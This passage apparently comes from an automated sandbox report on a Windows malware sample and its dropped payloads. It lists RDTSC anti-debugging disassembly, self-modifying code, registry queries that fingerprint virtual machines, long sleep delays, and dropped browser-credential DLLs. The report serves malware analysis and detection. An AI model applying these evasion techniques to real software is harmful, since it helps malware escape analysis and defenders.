Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523086D second address: 523094C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F8F4CECCCEEh 0x0000000f push eax 0x00000010 jmp 00007F8F4CECCCEBh 0x00000015 xchg eax, esi 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F8F4CECCCF4h 0x0000001d sub esi, 76402BC8h 0x00000023 jmp 00007F8F4CECCCEBh 0x00000028 popfd 0x00000029 mov ax, 2D3Fh 0x0000002d popad 0x0000002e mov esi, dword ptr [ebp+08h] 0x00000031 jmp 00007F8F4CECCCF2h 0x00000036 sub ebx, ebx 0x00000038 pushad 0x00000039 mov si, di 0x0000003c mov bh, DAh 0x0000003e popad 0x0000003f test esi, esi 0x00000041 jmp 00007F8F4CECCCF2h 0x00000046 je 00007F8FBEBB276Fh 0x0000004c jmp 00007F8F4CECCCF0h 0x00000051 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b pushfd 0x0000005c jmp 00007F8F4CECCCEDh 0x00000061 or esi, 7A7017A6h 0x00000067 jmp 00007F8F4CECCCF1h 0x0000006c popfd 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523094C second address: 5230952 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230952 second address: 5230956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230956 second address: 5230994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, 35D56563h 0x00000012 pushfd 0x00000013 jmp 00007F8F4C502418h 0x00000018 sbb ecx, 42A817A8h 0x0000001e jmp 00007F8F4C50240Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230994 second address: 52309F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F8FBEBB26EBh 0x00000010 pushad 0x00000011 mov di, 0CF0h 0x00000015 pushfd 0x00000016 jmp 00007F8F4CECCCF9h 0x0000001b and ax, 6A76h 0x00000020 jmp 00007F8F4CECCCF1h 0x00000025 popfd 0x00000026 popad 0x00000027 test byte ptr [76FA6968h], 00000002h 0x0000002e pushad 0x0000002f mov edx, esi 0x00000031 mov dl, ch 0x00000033 popad 0x00000034 jne 00007F8FBEBB26B4h 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d movzx ecx, di 0x00000040 mov bh, 30h 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52309F7 second address: 52309FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52309FD second address: 5230A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230A01 second address: 5230A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b jmp 00007F8F4C502419h 0x00000010 xchg eax, ebx 0x00000011 jmp 00007F8F4C50240Eh 0x00000016 push eax 0x00000017 jmp 00007F8F4C50240Bh 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F8F4C502410h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230A55 second address: 5230A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230A5B second address: 5230A90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C50240Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F8F4C502410h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8F4C50240Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230A90 second address: 5230AA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230AA5 second address: 5230AD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F8F4C50240Eh 0x0000000f push dword ptr [ebp+14h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230AD2 second address: 5230AD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230AD6 second address: 5230ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230B33 second address: 5230B43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F4CECCCECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240D92 second address: 5240D98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240D98 second address: 5240DF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F8F4CECCCF4h 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 pushad 0x00000013 mov edi, eax 0x00000015 movzx ecx, bx 0x00000018 popad 0x00000019 pushfd 0x0000001a jmp 00007F8F4CECCCF5h 0x0000001f add eax, 2F9A12C6h 0x00000025 jmp 00007F8F4CECCCF1h 0x0000002a popfd 0x0000002b popad 0x0000002c mov ebp, esp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240DF7 second address: 5240DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240DFB second address: 5240DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240DFF second address: 5240E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240E05 second address: 5240E0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240E0B second address: 5240E0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240B49 second address: 5240B58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0763 second address: 52C0772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F4C50240Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0A29 second address: 52B0A40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0A40 second address: 52B0A77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8F4C50240Fh 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F8F4C502412h 0x00000014 mov dword ptr [esp], ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov bx, C080h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0A77 second address: 52B0A7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0A7C second address: 52B0A82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0A82 second address: 52B0A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0A86 second address: 52B0A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0CF3 second address: 52B0D5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8F4CECCCF1h 0x00000011 jmp 00007F8F4CECCCEBh 0x00000016 popfd 0x00000017 mov ax, 041Fh 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F8F4CECCCF2h 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F8F4CECCCF7h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0D5C second address: 52B0D62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0D62 second address: 52B0DBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e jmp 00007F8F4CECCCF6h 0x00000013 push dword ptr [ebp+08h] 0x00000016 pushad 0x00000017 jmp 00007F8F4CECCCEEh 0x0000001c push ecx 0x0000001d mov cl, dl 0x0000001f pop ecx 0x00000020 popad 0x00000021 push 40227F92h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8F4CECCCF5h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0DBF second address: 52B0DEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 40237F90h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8F4C50240Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0DEA second address: 52B0DFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F4CECCCECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0E28 second address: 52B0E8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8F4C502417h 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e movzx eax, al 0x00000011 pushad 0x00000012 call 00007F8F4C502411h 0x00000017 pushfd 0x00000018 jmp 00007F8F4C502410h 0x0000001d jmp 00007F8F4C502415h 0x00000022 popfd 0x00000023 pop esi 0x00000024 popad 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0E8D second address: 52B0E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0E91 second address: 52B0EA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C50240Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F1EC95 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10D2900 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 115FDF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 72EC95 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8E2900 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 96FDF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Special instruction interceptor: First address: 497A58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Special instruction interceptor: First address: 63B551 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Special instruction interceptor: First address: 639F56 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Special instruction interceptor: First address: 6C593B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Special instruction interceptor: First address: C9FAF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Special instruction interceptor: First address: C9FBB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Special instruction interceptor: First address: C9D53E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Special instruction interceptor: First address: ED23F7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Special instruction interceptor: First address: 19DEB7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Special instruction interceptor: First address: 36C604 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Special instruction interceptor: First address: 3478FE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Special instruction interceptor: First address: 3DAA39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Special instruction interceptor: First address: 1A3BEA instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Memory allocated: 4A90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Memory allocated: 4CF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Memory allocated: 4B20000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_052B0CC2 rdtsc

0_2_052B0CC2

Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1011	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1136	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1113	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1131	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1147	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1164	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1108	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window / User API: threadDelayed 1269
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window / User API: threadDelayed 1005
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window / User API: threadDelayed 1260
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window / User API: threadDelayed 1252
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window / User API: threadDelayed 1219
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window / User API: threadDelayed 1268
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window / User API: threadDelayed 1260
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window / User API: threadDelayed 1259
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window / User API: threadDelayed 1157
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window / User API: threadDelayed 1155
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window / User API: threadDelayed 1156
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window / User API: threadDelayed 364
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window / User API: threadDelayed 1183
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window / User API: threadDelayed 1127
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window / User API: threadDelayed 1187
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window / User API: threadDelayed 1185

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019603001\d0c6b9d6b8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019602001\647da3efc5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019601001\a53907268b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019604001\0c0e50df68.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_7-20863

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5328	Thread sleep count: 1011 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5328	Thread sleep time: -2023011s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3276	Thread sleep count: 1136 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3276	Thread sleep time: -2273136s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6108	Thread sleep count: 272 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6108	Thread sleep time: -8160000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3732	Thread sleep count: 1113 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3732	Thread sleep time: -2227113s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4676	Thread sleep count: 1131 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4676	Thread sleep time: -2263131s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3056	Thread sleep count: 1147 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3056	Thread sleep time: -2295147s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5752	Thread sleep count: 1164 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5752	Thread sleep time: -2329164s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4140	Thread sleep count: 1108 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4140	Thread sleep time: -2217108s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe TID: 5376	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe TID: 6104	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com TID: 5860	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com TID: 5860	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe TID: 8700	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe TID: 8708	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe TID: 6388	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 4856	Thread sleep count: 1269 > 30
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 4856	Thread sleep time: -2539269s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 4480	Thread sleep count: 1005 > 30
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 4480	Thread sleep time: -2011005s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 5396	Thread sleep count: 1260 > 30
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 5396	Thread sleep time: -2521260s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 6668	Thread sleep time: -44000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 2136	Thread sleep count: 1252 > 30
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 2136	Thread sleep time: -2505252s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 2696	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 3648	Thread sleep count: 1219 > 30
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 3648	Thread sleep time: -2439219s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 6576	Thread sleep count: 1268 > 30
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 6576	Thread sleep time: -2537268s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 3628	Thread sleep count: 1260 > 30
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 3628	Thread sleep time: -2521260s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 616	Thread sleep count: 1259 > 30
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe TID: 616	Thread sleep time: -2519259s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 6680	Thread sleep count: 38 > 30
